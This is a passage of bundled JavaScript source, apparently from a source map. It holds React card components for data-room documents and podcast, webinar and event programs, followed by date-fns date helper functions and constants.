* (`anchorProps`) plus a pre-resolved badge label — both decisions\n * (URL composition + cross-app routing) are made in the consumer's\n * runtime layer, not inside this card.\n *\n * Renders `[card://data_room_doc:<id>]` and `[card://markdown:<id>]` markers\n * — both use this card because their viewer surface is structurally\n * identical; only the `baseRoute` differs (`/data-room` vs `/knowledge-base`).\n */\n\nimport React from 'react'\nimport { ExternalLink } from 'lucide-react'\nimport { StatusBadge } from '../../ui/status-badge'\nimport {\n  COMPACT_CARD_OUTER,\n  COMPACT_CARD_OUTER_STATIC,\n  COMPACT_CARD_SKELETON_OUTER,\n  COMPACT_CARD_TEXT_COL,\n  COMPACT_CARD_TITLE,\n} from '../utils/compact-card-classes'\nimport type { DataRoomDocCardItem } from '../types/entities/data-room-doc'\n\nexport interface DataRoomDocCardAnchorProps {\n  href: string\n  target?: '_blank'\n  rel?: 'noopener noreferrer'\n  onClick?: (e: React.MouseEvent<HTMLAnchorElement>) => void\n}\n\nexport interface DataRoomDocCardProps {\n  item: DataRoomDocCardItem\n  className?: string\n  /** Pre-composed badge label. REQUIRED — the consumer resolves\n   *  `sourceRepo` against its `SOURCE_LABELS_BY_TABLE` registry and\n   *  passes the result here.\n   *\n   *  Why required (no default): if the badge silently defaulted to a\n   *  literal like \"Data room\", a card sourced from openframe-docs (or\n   *  any other repo) whose `sourceRepo` resolution failed would\n   *  display the wrong provenance label — a real security signal,\n   *  because \"Data Room\" implies private/internal documents to\n   *  end-users. Forcing the consumer to supply the label means a\n   *  bug at the resolution step surfaces as a TypeScript error\n   *  (\"badgeText required\") instead of a falsely-labeled production\n   *  card. The hub-side dispatcher already passes\n   *  `getSourceLabel(sourceRepo)` with a non-null fallback. */\n  badgeText: string\n  /** Pre-composed `<a>` prop bundle. When provided, the outer renders\n   *  as `<a {...anchorProps}>`; otherwise the card is non-interactive. */\n  anchorProps?: DataRoomDocCardAnchorProps\n}\n\nexport function DataRoomDocCard({ item, className, badgeText, anchorProps }: DataRoomDocCardProps) {\n  const body = (\n    <>\n      <span className={COMPACT_CARD_TEXT_COL}>\n        <span className=\"flex flex-wrap items-center gap-1.5 min-w-0\">\n          <span className={`${COMPACT_CARD_TITLE} shrink min-w-0`}>{item.title}</span>\n          <StatusBadge text={badgeText} variant=\"button\" colorScheme=\"cyan\" className=\"shrink-0\" />\n        </span>\n        {item.path ? (\n          <span className=\"flex min-w-0 items-center gap-1 text-h6 text-ods-text-secondary\">\n            <span className=\"shrink-0 text-ods-text-secondary/70\">Path:</span>\n            <span className=\"min-w-0 truncate font-mono\">{item.path}</span>\n          </span>\n        ) : null}\n        {item.preview ? (\n          <span className=\"flex min-w-0\">\n            <span className=\"line-clamp-2 whitespace-pre-wrap break-words text-h6 text-ods-text-secondary\">\n              {item.preview}\n            </span>\n          </span>\n        ) : null}\n      </span>\n      {anchorProps?.href ? (\n        <span className=\"flex shrink-0 items-center self-start h-5 text-ods-text-secondary\">\n          <ExternalLink className=\"w-3.5 h-3.5\" />\n        </span>\n      ) : null}\n    </>\n  )\n  if (!anchorProps) {\n    return (\n      <span className={`${COMPACT_CARD_OUTER_STATIC} ${className ?? ''}`} aria-label=\"No link available\">\n        {body}\n      </span>\n    )\n  }\n  return (\n    <a {...anchorProps} className={`${COMPACT_CARD_OUTER} ${className ?? ''}`}>\n      {body}\n    </a>\n  )\n}\n\nexport function DataRoomDocCardSkeleton({ className }: { className?: string }) {\n  return (\n    <span className={`${COMPACT_CARD_SKELETON_OUTER} ${className ?? ''}`}>\n      <span className={COMPACT_CARD_TEXT_COL}>\n        <span className=\"flex items-center gap-1.5 min-w-0\">\n          <span className=\"h-3.5 w-2/3 rounded bg-ods-bg\" />\n          <span className=\"h-4 w-16 rounded-full bg-ods-bg/60\" />\n        </span>\n        <span className=\"h-4 w-1/2 rounded bg-ods-bg/60\" />\n        <span className=\"flex flex-col gap-0 min-w-0\">\n          <span className=\"h-5 w-5/6 rounded bg-ods-bg/60\" />\n          <span className=\"h-5 w-3/4 rounded bg-ods-bg/60\" />\n        </span>\n      </span>\n      <span className=\"flex shrink-0 items-center self-start h-5\">\n        <span className=\"h-3.5 w-3.5 rounded bg-ods-bg\" />\n      </span>\n    </span>\n  )\n}\n","'use client'\n\n/**\n * ProgramCard (pure presentation). Generic card for podcasts / webinars /\n * events. Three densities — `default` (wide horizontal detail, archive\n * pages), `sm` (compact horizontal for chat-inline), and `portrait`\n * (vertical rail/strip card).\n *\n * `portrait` exists because mixed-content rails MUST share ONE card anatomy\n * (2026 card-UI practice: a rail mixes content types, never card layouts —\n * mixing orientations/aspects in one scroller is the anti-pattern). It\n * renders the SAME three zones as the other portrait entity cards\n * (CaseStudyCard et al.): wide media slot → fixed 72px title zone → fixed\n * 60px person/meta footer, p-6 / gap-6. The program's identity lives in the\n * Azeret Mono title and the date · duration meta line — not in a different\n * layout.\n *\n * The card writes NO click logic — callers wrap with their own anchor\n * and pass the resolved detail URL via `href`.\n */\n\nimport React, { useState } from 'react'\nimport Image from '../../../embed-shims/next-image'\nimport { format } from 'date-fns'\nimport { ExternalLink, Clock, Play, Video } from 'lucide-react'\nimport { Button } from '../../ui/button/button'\nimport { SquareAvatar } from '../../ui/square-avatar'\nimport { ImageGalleryModal } from '../../ui/image-gallery-modal'\nimport { cn } from '../../../utils/cn'\nimport {\n  formatDurationCompact,\n  formatTimeWithTimezone,\n  formatDurationFromRange,\n} from '../../../utils/format'\nimport {\n  COMPACT_CARD_IMAGE_SLOT,\n  COMPACT_CARD_META_ROW_BOX,\n  COMPACT_CARD_OUTER,\n  COMPACT_CARD_ROW_FILLER,\n  COMPACT_CARD_SKELETON_IMAGE_SLOT,\n  COMPACT_CARD_SKELETON_OUTER,\n  COMPACT_CARD_SUMMARY,\n  COMPACT_CARD_TEXT_COL,\n  COMPACT_CARD_TITLE,\n  COMPACT_CARD_TITLE_ROW,\n} from '../utils/compact-card-classes'\nimport {\n  programItemToStripProfile,\n  type BaseProgramItem,\n  type ProgramAuthorRef,\n  type ProgramConfig,\n  type ProgramMedia,\n  type ProgramHost,\n} from '../types/entities/program-types'\nimport { EntityPortraitCard } from './entity-portrait-card'\nimport { useEntityCardLink } from './use-entity-card-link'\nimport { useEntityCardPlaceholder } from './use-entity-card-placeholder'\n\ntype CardSize = 'default' | 'sm' | 'portrait'\n\n/**\n * Format a Date with date-fns pinned to UTC. `date-fns` `format()` reads the\n * runtime's LOCAL wall-clock, so the same instant renders differently on the\n * server (Vercel = UTC) and the client (visitor tz) → React #418 hydration\n * mismatch. Shifting by the local offset before formatting emits the UTC\n * wall-clock on every machine, so server and client agree. Mirrors the helper\n * in the hub's `program-header.tsx` (kept local — the lib has no date-fns-tz\n * dep) and the repo-wide \"pin program dates to UTC\" convention.\n */\nfunction formatUtc(date: Date, fmt: string): string {\n  return format(new Date(date.getTime() + date.getTimezoneOffset() * 60_000), fmt)\n}\n\nexport function ProgramCardSkeleton({ size = 'default' }: { size?: CardSize }) {\n  if (size === 'sm') {\n    return (\n      <span className={COMPACT_CARD_SKELETON_OUTER}>\n        <span className={COMPACT_CARD_SKELETON_IMAGE_SLOT} />\n        <span className={COMPACT_CARD_TEXT_COL}>\n          <span className={COMPACT_CARD_TITLE_ROW}>\n            <span className=\"h-3.5 w-3/5 rounded bg-ods-bg\" />\n          </span>\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className=\"h-3 w-2/5 rounded bg-ods-bg/70\" />\n          </span>\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className=\"h-3 w-11/12 rounded bg-ods-bg/40\" />\n          </span>\n        </span>\n        <span className=\"flex shrink-0 items-center self-start h-5\">\n          <span className=\"h-3.5 w-3.5 rounded bg-ods-bg\" />\n        </span>\n      </span>\n    )\n  }\n  return (\n    <div\n      className=\"border border-ods-border rounded-lg overflow-hidden flex flex-col animate-pulse\"\n      style={{ backgroundColor: 'var(--ods-system-greys-black)' }}\n    >\n      <div className=\"p-6 flex-1\">\n        <div className=\"flex flex-col md:flex-row gap-4 md:gap-6\">\n          <div className=\"w-full md:w-[180px] h-[180px] bg-ods-bg rounded-lg flex-shrink-0\" />\n          <div className=\"flex-1 min-w-0 flex flex-col gap-3\">\n            <div className=\"h-7 w-3/4 bg-ods-bg rounded\" />\n            <div className=\"h-7 w-1/2 bg-ods-bg rounded\" />\n            <div className=\"h-4 w-1/3 bg-ods-bg/60 rounded\" />\n            <div className=\"space-y-2\">\n              <div className=\"h-3 w-full bg-ods-bg/60 rounded\" />\n              <div className=\"h-3 w-5/6 bg-ods-bg/60 rounded\" />\n              <div className=\"h-3 w-4/5 bg-ods-bg/60 rounded\" />\n            </div>\n          </div>\n        </div>\n      </div>\n      <div className=\"p-6 pt-0 mt-auto\">\n        <div className=\"pt-4 border-t border-ods-border\">\n          <div className=\"h-9 w-40 bg-ods-bg rounded\" />\n        </div>\n      </div>\n    </div>\n  )\n}\n\nexport interface ProgramCardProps<T extends BaseProgramItem> {\n  config: ProgramConfig<T>\n  item: T\n  media?: ProgramMedia[]\n  renderMeta?: (item: T) => React.ReactNode\n  size?: CardSize\n  /** Portrait density: render the content-type chip. Mixed rails only; single-type rails pass false. Default true. */\n  showTypeBadge?: boolean\n  /** Detail URL resolved by the caller. */\n  href: string\n  /** When `_blank`, opens in a new tab. Set by chat dispatch via\n   *  `computeIsNewTab` so the inner `<a>` matches the runtime\n   *  nav decision (cross-platform / embed → new tab). Defaults to\n   *  same-tab for non-chat callsites. */\n  target?: '_blank'\n  rel?: 'noopener noreferrer'\n  targetPlatform?: string | null\n  /** OG placeholder URL used by the compact branch when no cover. */\n  placeholderUrl?: string | null\n  wholeCardClickable?: boolean\n  className?: string\n}\n\nfunction getHosts(hosts: ProgramHost[] | null | undefined): Array<{ name: string; avatar: string | null }> {\n  if (!hosts) return []\n  try {\n    if (Array.isArray(hosts)) {\n      return hosts.map((host) => ({\n        name: host.name || 'Unknown',\n        avatar: host.avatar_url || null,\n      }))\n    }\n    if (typeof hosts === 'string') {\n      const parsed = JSON.parse(hosts)\n      if (Array.isArray(parsed)) {\n        return parsed.map((host: any) => ({\n          name: host.name || host.display_name || 'Unknown',\n          avatar: host.avatar_url || null,\n        }))\n      }\n    }\n  } catch (error) {\n    console.warn('Failed to parse hosts data:', error)\n  }\n  return []\n}\n\nfunction MediaGallery({ images, title }: { images: ProgramMedia[]; title: string }) {\n  const [selectedImageIndex, setSelectedImageIndex] = useState<number | null>(null)\n  const [isModalOpen, setIsModalOpen] = useState(false)\n  const openImageModal = (index: number, event?: React.MouseEvent) => {\n    if (event) event.stopPropagation()\n    setSelectedImageIndex(index)\n    setIsModalOpen(true)\n  }\n  const closeImageModal = () => {\n    setIsModalOpen(false)\n    setSelectedImageIndex(null)\n  }\n  return (\n    <>\n      <div className=\"p-6 pt-4\">\n        <div className=\"overflow-x-auto mb-4\">\n          <div className=\"flex gap-3 pb-2\" style={{ width: 'max-content' }}>\n            {images.map((mediaItem, index) => (\n              <div\n                key={mediaItem.id}\n                className=\"flex-shrink-0 w-24 h-24 relative rounded-md overflow-hidden cursor-pointer group/thumb\"\n                onClick={(e) => openImageModal(index, e)}\n              >\n                <Image\n                  src={mediaItem.media_url}\n                  alt={`${title} photo ${index + 1}`}\n                  fill\n                  className=\"object-cover group-hover/thumb:scale-105 transition-transform duration-200\"\n                  sizes=\"96px\"\n                  loading=\"lazy\"\n                  unoptimized\n                />\n                <div className=\"absolute inset-0 bg-black/20 opacity-0 group-hover/thumb:opacity-100 transition-opacity duration-200 flex items-center justify-center\">\n                  <div className=\"w-6 h-6 rounded-full bg-white/90 flex items-center justify-center\">\n                    <span className=\"text-black text-sm\">+</span>\n                  </div>\n                </div>\n              </div>\n            ))}\n          </div>\n        </div>\n      </div>\n      <ImageGalleryModal\n        images={images.map((img) => img.media_url)}\n        isOpen={isModalOpen}\n        onClose={closeImageModal}\n        initialIndex={selectedImageIndex || 0}\n      />\n    </>\n  )\n}\n\nexport function ProgramCard<T extends BaseProgramItem>({\n  config,\n  item,\n  media = [],\n  renderMeta,\n  size = 'default',\n  showTypeBadge = true,\n  href,\n  target: targetProp,\n  rel: relProp,\n  targetPlatform,\n  placeholderUrl: placeholderUrlProp,\n  wholeCardClickable = false,\n  className,\n}: ProgramCardProps<T>) {\n  const { target, rel } = useEntityCardLink({\n    href,\n    targetPlatform,\n    target: targetProp,\n    rel: relProp,\n  })\n  const placeholderUrl = useEntityCardPlaceholder({\n    title: item.title,\n    placeholderUrl: placeholderUrlProp,\n    aspect: size === 'sm' ? 'square' : 'wide',\n  })\n  const coverImage = item.cover_url\n  const images = media.filter((m) => m.media_type === 'image')\n  const hosts = getHosts(item.hosts)\n  const accentColor = 'var(--color-accent-primary)'\n  const isScheduled = 'status' in item && (item as any).status === 'scheduled'\n\n  // Compact per-type meta (duration / location / start time) — shared by the\n  // `sm` and `portrait` densities.\n  const compactTypeMeta = (): string | null => {\n    if (config.type === 'podcast' && 'duration_seconds' in item && !isScheduled) {\n      const dur = (item as any).duration_seconds\n      if (typeof dur === 'number' && dur > 0) return formatDurationCompact(dur)\n    } else if (config.type === 'event' && 'location_name' in item) {\n      const loc = (item as any).location_name\n      if (typeof loc === 'string' && loc.trim().length > 0) return loc\n    } else if (config.type === 'webinar' && 'start_at' in item) {\n      const w = item as any\n      const time = formatTimeWithTimezone(w.start_at, w.timezone ?? null)\n      const dur = formatDurationFromRange(w.start_at, w.end_at)\n      return dur ? `${time} · ${dur}` : time\n    }\n    return null\n  }\n  const compactDate = (() => {\n    try { return formatUtc(new Date(item.date), 'MMM d, yyyy') } catch { return '' }\n  })()\n\n  if (size === 'portrait') {\n    // Rail/strip density — mapped onto the shared <EntityPortraitCard> shell\n    // (media aspect-[1200/630] → h-[72px] title → h-[60px] footer, p-6/gap-6).\n    // Person = author-first via programItemToStripProfile (author → primary\n    // host); the date · duration meta line fills the subtitle when the\n    // profile has no job title.\n    const profile = programItemToStripProfile(item as { author?: ProgramAuthorRef | null; hosts?: ProgramHost[] | null })\n    const dateMeta = [compactDate, compactTypeMeta()].filter(Boolean).join(' · ')\n    return (\n      <EntityPortraitCard\n        href={href}\n        target={target}\n        rel={rel}\n        typeLabel={showTypeBadge ? config.labels.singular : undefined}\n        imageUrl={coverImage}\n        placeholderUrl={placeholderUrl}\n        imageAlt={item.title}\n        title={item.title}\n        titleClassName=\"font-['Azeret_Mono'] font-semibold text-lg leading-6\"\n        person={\n          profile\n            ? { name: profile.name, avatarUrl: profile.avatarUrl, subtitle: profile.subtitle || dateMeta }\n            : { name: config.labels.singular, subtitle: dateMeta }\n        }\n        className={className}\n      />\n    )\n  }\n\n  if (size === 'sm') {\n    const itemDate = compactDate\n    const compactCover = coverImage || placeholderUrl || null\n    const typeMeta = compactTypeMeta()\n    const subtitleParts = [itemDate, typeMeta, config.labels?.singular].filter(\n      (s): s is string => typeof s === 'string' && s.length > 0,\n    )\n    return (\n      <a href={href} target={target} rel={rel} className={cn(COMPACT_CARD_OUTER, className)}>\n        <span className={COMPACT_CARD_IMAGE_SLOT}>\n          {compactCover ? (\n            <Image\n              src={compactCover}\n              alt={item.title}\n              fill\n              sizes=\"56px\"\n              className=\"object-contain\"\n              unoptimized\n            />\n          ) : (\n            <span className=\"flex h-full w-full items-center justify-center text-ods-accent\">\n              {config.type === 'podcast' ? <Play className=\"w-4 h-4\" /> : config.type === 'webinar' ? <Video className=\"w-4 h-4\" /> : <Clock className=\"w-4 h-4\" />}\n            </span>\n          )}\n          {config.type === 'podcast' && !isScheduled && compactCover && (\n            <span className=\"absolute inset-0 flex items-center justify-center bg-black/30\">\n              <Play className=\"w-4 h-4 text-ods-text-on-dark\" fill=\"white\" />\n            </span>\n          )}\n        </span>\n        <span className={COMPACT_CARD_TEXT_COL}>\n          <span className={COMPACT_CARD_TITLE_ROW}>\n            <span className={cn(COMPACT_CARD_TITLE, 'font-heading')}>\n              {item.title}\n            </span>\n          </span>\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className=\"truncate text-h6 text-ods-accent\">\n              {subtitleParts.join(' · ')}\n            </span>\n          </span>\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className={COMPACT_CARD_SUMMARY}>\n              {item.description || COMPACT_CARD_ROW_FILLER}\n            </span>\n          </span>\n        </span>\n        <span className=\"flex shrink-0 items-center self-start h-5 text-ods-text-secondary\">\n          <ExternalLink className=\"w-3.5 h-3.5\" />\n        </span>\n      </a>\n    )\n  }\n\n  const itemDate = new Date(item.date)\n  const dateFormat = formatUtc(itemDate, 'EEEE d MMMM')\n\n  const defaultRenderMeta = () => {\n    if (config.type === 'podcast' && 'duration_seconds' in item && !isScheduled) {\n      return (\n        <>\n          <Clock className=\"w-4 h-4 text-ods-text-secondary\" />\n          <span className=\"font-body text-ods-text-secondary\">\n            {formatDurationCompact((item as any).duration_seconds)}\n          </span>\n        </>\n      )\n    }\n    if (config.type === 'event' && 'location_name' in item) {\n      return (\n        <span className=\"font-body text-ods-text-secondary\">\n          {(item as any).location_name || 'Location TBD'}\n        </span>\n      )\n    }\n    if (config.type === 'webinar' && 'start_at' in item) {\n      const webinarItem = item as any\n      const duration = formatDurationFromRange(webinarItem.start_at, webinarItem.end_at)\n      return (\n        <>\n          <Video className=\"w-4 h-4 text-ods-text-secondary\" />\n          <span className=\"font-body text-ods-text-secondary\">\n            {formatTimeWithTimezone(webinarItem.start_at, webinarItem.timezone ?? null)}\n            {duration && ` · ${duration}`}\n          </span>\n          {webinarItem.timezone && (\n            <span className=\"text-h6 text-ods-text-secondary\">\n              ({webinarItem.timezone})\n            </span>\n          )}\n        </>\n      )\n    }\n    return null\n  }\n\n  const cardHeader = (\n    <div className=\"p-6 border-ods-border flex-1\">\n      <div className=\"flex flex-col md:flex-row gap-4 md:gap-6\">\n        {coverImage && (\n          <div className=\"w-full md:w-[180px] flex-shrink-0 flex items-center\">\n            <div className=\"relative rounded-lg overflow-hidden\">\n              <Image\n                src={coverImage}\n                alt={item.title}\n                width={180}\n                height={180}\n                className=\"w-full h-auto rounded-lg object-contain\"\n                unoptimized\n              />\n              {config.type === 'podcast' && !isScheduled && (\n                <div className=\"absolute inset-0 flex items-center justify-center bg-black/40 opacity-0 group-hover:opacity-100 transition-opacity rounded-lg\">\n                  <Play className=\"w-10 h-10 text-ods-text-on-dark\" fill=\"white\" />\n                </div>\n              )}\n            </div>\n          </div>\n        )}\n\n        <div className=\"flex-1 min-w-0 flex flex-col\">\n          <h3 className=\"text-h2 text-ods-text-primary mb-3 min-h-[3rem] md:min-h-[3.5rem] line-clamp-2 flex items-center\">\n            {item.title}\n          </h3>\n\n          <div className=\"flex flex-col md:flex-row md:items-center gap-2 md:gap-4 mb-4\">\n            <span className=\"text-h6\" style={{ color: accentColor }}>\n              {dateFormat}\n            </span>\n            {renderMeta ? (\n              <>\n                <span className=\"hidden md:inline text-ods-text-secondary\">•</span>\n                {renderMeta(item)}\n              </>\n            ) : (\n              defaultRenderMeta() && (\n                <>\n                  <span className=\"hidden md:inline text-ods-text-secondary\">•</span>\n                  <div className=\"flex items-center gap-2\">{defaultRenderMeta()}</div>\n                </>\n              )\n            )}\n          </div>\n\n          <div className=\"flex-1\">\n            <p className=\"text-h6 text-ods-text-secondary line-clamp-3 min-h-[4.5rem]\">\n              {item.description}\n            </p>\n          </div>\n        </div>\n\n        {hosts.length > 0 && (\n          <div className=\"md:text-right\">\n            <div className=\"flex flex-wrap md:justify-end gap-2\">\n              {hosts.map((host, index) => (\n                <SquareAvatar\n                  variant=\"round\"\n                  key={`${item.id}-host-${index}`}\n                  src={host.avatar || undefined}\n                  alt={host.name}\n                  fallback={host.name.charAt(0).toUpperCase()}\n                  size=\"sm\"\n                />\n              ))}\n            </div>\n          </div>\n        )}\n      </div>\n    </div>\n  )\n\n  const cardFrameClass = cn(\n    'border border-ods-border rounded-lg overflow-hidden group transition-all duration-200 flex flex-col',\n    className,\n  )\n  const cardFrameStyle = { backgroundColor: 'var(--ods-system-greys-black)' } as const\n\n  if (wholeCardClickable) {\n    return (\n      <a\n        href={href}\n        target={target}\n        rel={rel}\n        className={cn(cardFrameClass, 'hover:border-ods-accent/50 no-underline')}\n        style={cardFrameStyle}\n        aria-label={`Open ${item.title}`}\n      >\n        {cardHeader}\n        {images.length > 0 && <MediaGallery images={images} title={item.title} />}\n        <div className=\"p-6 pt-0 mt-auto\">\n          <div className=\"pt-4 border-t border-ods-border\">\n            <span\n              className=\"inline-flex items-center gap-2 px-4 py-2 rounded-md border border-ods-accent text-ods-accent text-h6\"\n              aria-hidden=\"true\"\n            >\n              View {config.labels.singular} Details\n              <ExternalLink className=\"w-5 h-5\" />\n            </span>\n          </div>\n        </div>\n      </a>\n    )\n  }\n\n  return (\n    <div className={cardFrameClass} style={cardFrameStyle}>\n      <a href={href} target={target} rel={rel} className=\"block\" aria-label={`Open ${item.title}`}>\n        {cardHeader}\n      </a>\n      {images.length > 0 && <MediaGallery images={images} title={item.title} />}\n      <div className=\"p-6 pt-0 mt-auto\">\n        <div className=\"pt-4 border-t border-ods-border\">\n          <Button\n            variant=\"outline\"\n            size=\"small-legacy\"\n            href={href}\n            openInNewTab={target === '_blank'}\n            rightIcon={<ExternalLink className=\"w-5 h-5\" />}\n          >\n            View {config.labels.singular} Details\n          </Button>\n        </div>\n      </div>\n    </div>\n  )\n}\n","/**\n * @name toDate\n * @category Common Helpers\n * @summary Convert the given argument to an instance of Date.\n *\n * @description\n * Convert the given argument to an instance of Date.\n *\n * If the argument is an instance of Date, the function returns its clone.\n *\n * If the argument is a number, it is treated as a timestamp.\n *\n * If the argument is none of the above, the function returns Invalid Date.\n *\n * **Note**: *all* Date arguments passed to any *date-fns* function is processed by `toDate`.\n *\n * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).\n *\n * @param argument - The value to convert\n *\n * @returns The parsed date in the local time zone\n *\n * @example\n * // Clone the date:\n * const result = toDate(new Date(2014, 1, 11, 11, 30, 30))\n * //=> Tue Feb 11 2014 11:30:30\n *\n * @example\n * // Convert the timestamp to date:\n * const result = toDate(1392098430000)\n * //=> Tue Feb 11 2014 11:30:30\n */\nexport function toDate(argument) {\n  const argStr = Object.prototype.toString.call(argument);\n\n  // Clone the date\n  if (\n    argument instanceof Date ||\n    (typeof argument === \"object\" && argStr === \"[object Date]\")\n  ) {\n    // Prevent the date to lose the milliseconds when passed to new Date() in IE10\n    return new argument.constructor(+argument);\n  } else if (\n    typeof argument === \"number\" ||\n    argStr === \"[object Number]\" ||\n    typeof argument === \"string\" ||\n    argStr === \"[object String]\"\n  ) {\n    // TODO: Can we get rid of as?\n    return new Date(argument);\n  } else {\n    // TODO: Can we get rid of as?\n    return new Date(NaN);\n  }\n}\n\n// Fallback for modularized imports:\nexport default toDate;\n","/**\n * @name constructFrom\n * @category Generic Helpers\n * @summary Constructs a date using the reference date and the value\n *\n * @description\n * The function constructs a new date using the constructor from the reference\n * date and the given value. It helps to build generic functions that accept\n * date extensions.\n *\n * It defaults to `Date` if the passed reference date is a number or a string.\n *\n * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).\n *\n * @param date - The reference date to take constructor from\n * @param value - The value to create the date\n *\n * @returns Date initialized using the given date and value\n *\n * @example\n * import { constructFrom } from 'date-fns'\n *\n * // A function that clones a date preserving the original type\n * function cloneDate<DateType extends Date(date: DateType): DateType {\n *   return constructFrom(\n *     date, // Use contrustor from the given date\n *     date.getTime() // Use the date value to create a new date\n *   )\n * }\n */\nexport function constructFrom(date, value) {\n  if (date instanceof Date) {\n    return new date.constructor(value);\n  } else {\n    return new Date(value);\n  }\n}\n\n// Fallback for modularized imports:\nexport default constructFrom;\n","/**\n * @module constants\n * @summary Useful constants\n * @description\n * Collection of useful date constants.\n *\n * The constants could be imported from `date-fns/constants`:\n *\n * ```ts\n * import { maxTime, minTime } from \"./constants/date-fns/constants\";\n *\n * function isAllowedTime(time) {\n *   return time <= maxTime && time >= minTime;\n * }\n * ```\n */\n\n/**\n * @constant\n * @name daysInWeek\n * @summary Days in 1 week.\n */\nexport const daysInWeek = 7;\n\n/**\n * @constant\n * @name daysInYear\n * @summary Days in 1 year.\n *\n * @description\n * How many days in a year.\n *\n * One years equals 365.2425 days according to the formula:\n *\n * > Leap year occures every 4 years, except for years that are divisable by 100 and not divisable by 400.\n * > 1 mean year = (365+1/4-1/100+1/400) days = 365.2425 days\n */\nexport const daysInYear = 365.2425;\n\n/**\n * @constant\n * @name maxTime\n * @summary Maximum allowed time.\n *\n * @example\n * import { maxTime } from \"./constants/date-fns/constants\";\n *\n * const isValid = 8640000000000001 <= maxTime;\n * //=> false\n *\n * new Date(8640000000000001);\n * //=> Invalid Date\n */\nexport const maxTime = Math.pow(10, 8) * 24 * 60 * 60 * 1000;\n\n/**\n * @constant\n * @name minTime\n * @summary Minimum allowed time.\n *\n * @example\n * import { minTime } from \"./constants/date-fns/constants\";\n *\n * const isValid = -8640000000000001 >= minTime;\n * //=> false\n *\n * new Date(-8640000000000001)\n * //=> Invalid Date\n */\nexport const minTime = -maxTime;\n\n/**\n * @constant\n * @name millisecondsInWeek\n * @summary Milliseconds in 1 week.\n */\nexport const millisecondsInWeek = 604800000;\n\n/**\n * @constant\n * @name millisecondsInDay\n * @summary Milliseconds in 1 day.\n */\nexport const millisecondsInDay = 86400000;\n\n/**\n * @constant\n * @name millisecondsInMinute\n * @summary Milliseconds in 1 minute\n */\nexport const millisecondsInMinute = 60000;\n\n/**\n * @constant\n * @name millisecondsInHour\n * @summary Milliseconds in 1 hour\n */\nexport const millisecondsInHour = 3600000;\n\n/**\n * @constant\n * @name millisecondsInSecond\n * @summary Milliseconds in 1 second\n */\nexport const millisecondsInSecond = 1000;\n\n/**\n * @constant\n * @name minutesInYear\n * @summary Minutes in 1 year.\n */\nexport const minutesInYear = 525600;\n\n/**\n * @constant\n * @name minutesInMonth\n * @summary Minutes in 1 month.\n */\nexport const minutesInMonth = 43200;\n\n/**\n * @constant\n * @name minutesInDay\n * @summary Minutes in 1 day.\n */\nexport const minutesInDay = 1440;\n\n/**\n * @constant\n * @name minutesInHour\n * @summary Minutes in 1 hour.\n */\nexport const minutesInHour = 60;\n\n/**\n * @constant\n * @name monthsInQuarter\n * @summary Months in 1 quarter.\n */\nexport const monthsInQuarter = 3;\n\n/**\n * @constant\n * @name monthsInYear\n * @summary Months in 1 year.\n */\nexport const monthsInYear = 12;\n\n/**\n * @constant\n * @name quartersInYear\n * @summary Quarters in 1 year\n */\nexport const quartersInYear = 4;\n\n/**\n * @constant\n * @name secondsInHour\n * @summary Seconds in 1 hour.\n */\nexport const secondsInHour = 3600;\n\n/**\n * @constant\n * @name secondsInMinute\n * @summary Seconds in 1 minute.\n */\nexport const secondsInMinute = 60;\n\n/**\n * @constant\n * @name secondsInDay\n * @summary Seconds in 1 day.\n */\nexport const secondsInDay = secondsInHour * 24;\n\n/**\n * @constant\n * @name secondsInWeek\n * @summary Seconds in 1 week.\n */\nexport const secondsInWeek = secondsInDay * 7;\n\n/**\n * @constant\n * @name secondsInYear\n * @summary Seconds in 1 year.\n */\nexport const secondsInYear = secondsInDay * daysInYear;\n\n/**\n * @constant\n * @name secondsInMonth\n * @summary Seconds in 1 month\n */\nexport const secondsInMonth = secondsInYear / 12;\n\n/**\n * @constant\n * @name secondsInQuarter\n * @summary Seconds in 1 quarter.\n */\nexport const secondsInQuarter = secondsInMonth * 3;\n","let defaultOptions = {};\n\nexport function getDefaultOptions() {\n  return defaultOptions;\n}\n\nexport function setDefaultOptions(newOptions) {\n  defaultOptions = newOptions;\n}\n","import { toDate } from \"./toDate.mjs\";\nimport { getDefaultOptions } from \"./_lib/defaultOptions.mjs\";\n\n/**\n * The {@link startOfWeek} function options.\n */\n\n/**\n * @name startOfWeek\n * @category Week Helpers\n * @summary Return the start of a week for the given date.\n *\n * @description\n * Return the start of a week for the given date.\n * The result will be in the local timezone.\n *\n * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).\n *\n * @param date - The original date\n * @param options - An object with options\n *\n * @returns The start of a week\n *\n * @example\n * // The start of a week for 2 September 2014 11:55:00:\n * const result = startOfWeek(new Date(2014, 8, 2, 11, 55, 0))\n * //=> Sun Aug 31 2014 00:00:00\n *\n * @example\n * // If the week starts on Monday, the start of the week for 2 September 2014 11:55:00:\n * const result = startOfWeek(new Date(2014, 8, 2, 11, 55, 0), { weekStartsOn: 1 })\n * //=> Mon Sep 01 2014 00:00:00\n */\nexport function startOfWeek(date, options) {\n  const defaultOptions = getDefaultOptions();\n  const weekStartsOn =\n    options?.weekStartsOn ??\n    options?.locale?.options?.weekStartsOn ??\n    defaultOptions.weekStartsOn ??\n    defaultOptions.locale?.options?.weekStartsOn ??\n    0;\n\n  const _date = toDate(date);\n  const day = _date.getDay();\n  const diff = (day < weekStartsOn ? 7 : 0) + day - weekStartsOn;\n\n  _date.setDate(_date.getDate() - diff);\n  _date.setHours(0, 0, 0, 0);\n  return _date;\n}\n\n// Fallback for modularized imports:\nexport default startOfWeek;\n","import { startOfWeek } from \"./startOfWeek.mjs\";\n\n/**\n * @name startOfISOWeek\n * @category ISO Week Helpers\n * @summary Return the start of an ISO week for the given date.\n *\n * @description\n * Return the start of an ISO week for the given date.\n * The result will be in the local timezone.\n *\n * ISO week-numbering year: http://en.wikipedia.org/wiki/ISO_week_date\n *\n * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).\n *\n * @param date - The original date\n *\n 